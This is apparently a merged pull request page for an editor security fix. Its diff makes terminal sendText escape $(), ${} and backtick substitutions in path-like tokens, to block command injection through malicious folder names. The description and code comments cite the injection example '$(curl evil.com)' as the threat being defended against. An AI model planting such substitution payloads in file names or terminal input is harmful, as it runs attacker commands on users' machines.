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fix(security): Sanitize all path-like segments in terminal sendText #200

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Merged
azmkercso merged 1 commit into from
Apr 20, 2026
Merged

fix(security): Sanitize all path-like segments in terminal sendText #200

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74 changes: 48 additions & 26 deletions patches/sagemaker/sanitize-terminal-sendtext-paths.diff
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Original file line number Diff line number Diff line change
@@ -1,44 +1,66 @@
Sanitize folder paths in terminal sendText to prevent command injection
Sanitize command substitution in path-like segments of terminal sendText

Folder names containing shell metacharacters (e.g., $(curl evil.com))
can trigger command injection when extensions send commands like
"cd <path> && python file.py" via terminal.sendText(). This patch
sanitizes path segments in cd commands by escaping shell-dangerous
characters before the text is written to the terminal process.
File/folder names containing shell metacharacters (e.g., $(curl evil.com)
or `cmd`) can trigger command injection when extensions send commands via
terminal.sendText(). This patch escapes $() and backtick command
substitution patterns inside path-like tokens (both double-quoted and
unquoted) before the text is written to the terminal process.

Single-quoted paths are left alone since the shell does not interpret
special characters inside single quotes. Non-path tokens like $HOME in
"echo $HOME" are also left untouched to preserve intentional variable
usage.

Index: b/src/vs/platform/terminal/common/terminalEnvironment.ts
===================================================================
--- a/src/vs/platform/terminal/common/terminalEnvironment.ts
+++ b/src/vs/platform/terminal/common/terminalEnvironment.ts
@@ -126,3 +126,29 @@ export function sanitizeCwd(cwd: string)
@@ -126,3 +126,46 @@ export function sanitizeCwd(cwd: string)
export function shouldUseEnvironmentVariableCollection(slc: IShellLaunchConfig): boolean {
return !slc.strictEnv;
}
+
+/**
+ * Sanitize shell-dangerous characters in path segments of terminal commands.
+ * This targets command injection via malicious folder/file names containing
+ * shell metacharacters like $(), backticks, etc. that get interpolated when
+ * extensions send raw commands via terminal.sendText().
+ * Sanitize shell command substitution patterns in path-like segments
+ * of terminal commands to prevent injection via malicious folder/file names.
+ *
+ * The function identifies path-like segments following 'cd' commands and
+ * escapes shell metacharacters to prevent command substitution.
+ * Targets: $(...), ${...}, and `...` inside path-like tokens.
+ * A path-like token starts with /, ~/, ./, ../ or is a quoted string containing /.
+ */
+export function sanitizeCdPathsInCommand(text: string): string {
+ // Match 'cd' followed by a path, terminated by ; && || & or end of string
+ // This handles patterns like: cd /path/to/$(evil) && python file.py
+ return text.replace(
+ /\bcd\s+((?:[^\s;|&]|\\ )+)/g,
+ (_match: string, path: string) => {
+ // If the path is already properly quoted (single or double quotes), leave it alone
+ if (/^'.*'$/.test(path) || /^".*"$/.test(path)) {
+ return `cd ${path}`;
+ // Strip newlines and null bytes to prevent command injection via line splitting
+ let result = text.replace(/[\r\n\x00]/g, ' ');
+
+ // Handle double-quoted path segments: "...path..."
+ // Only escape command substitution patterns $( and ` and ${ — NOT bare $VAR
+ result = result.replace(
+ /"((?:[^"\\]|\\.)*\/(?:[^"\\]|\\.)*)"/g,
+ (_match: string, inner: string) => {
+ const sanitized = inner
+ .replace(/(?<!\\)\$\(/g, '\\$(')
+ .replace(/(?<!\\)\$\{/g, '\\${')
+ .replace(/(?<!\\)`/g, '\\`');
+ return `"${sanitized}"`;
+ }
+ );
+
+ // Handle unquoted path-like segments (any token containing /)
+ // This catches absolute, relative, and bare paths like foo/$(evil)/bar
+ result = result.replace(
+ /(?<=[\s;|&<>]|^)([^\s;|&<>]*\/[^\s;|&<>]*)/gm,
+ (pathToken: string) => {
+ // Skip already-quoted paths — handled above or safe (single quotes)
+ if (pathToken.startsWith("'") || pathToken.startsWith('"')) {
+ return pathToken;
+ }
+ // Escape shell metacharacters that enable command injection
+ const sanitized = path.replace(/([\$`!#&|;(){}<>])/g, '\\$1');
+ return `cd ${sanitized}`;
+ return pathToken
+ .replace(/(?<!\\)\$\(/g, '\\$(')
+ .replace(/(?<!\\)\$\{/g, '\\${')
+ .replace(/(?<!\\)`/g, '\\`');
+ }
+ );
+
+ return result;
+}
Index: b/src/vs/workbench/contrib/terminal/browser/terminalInstance.ts
===================================================================
Expand All @@ -56,8 +78,8 @@ Index: b/src/vs/workbench/contrib/terminal/browser/terminalInstance.ts
}

async sendText(text: string, shouldExecute: boolean, bracketedPasteMode?: boolean): Promise<void> {
+ // Sanitize shell command substitution patterns in cd path arguments
+ // to prevent command injection via malicious folder names (e.g., $(curl evil.com))
+ // Sanitize command substitution patterns ($(), ${}, ``) in path-like segments
+ // to prevent injection via malicious folder/file names (e.g., $(curl evil.com))
+ text = sanitizeCdPathsInCommand(text);
// Apply bracketed paste sequences if the terminal has the mode enabled, this will prevent
// the text from triggering keybindings and ensure new lines are handled properly
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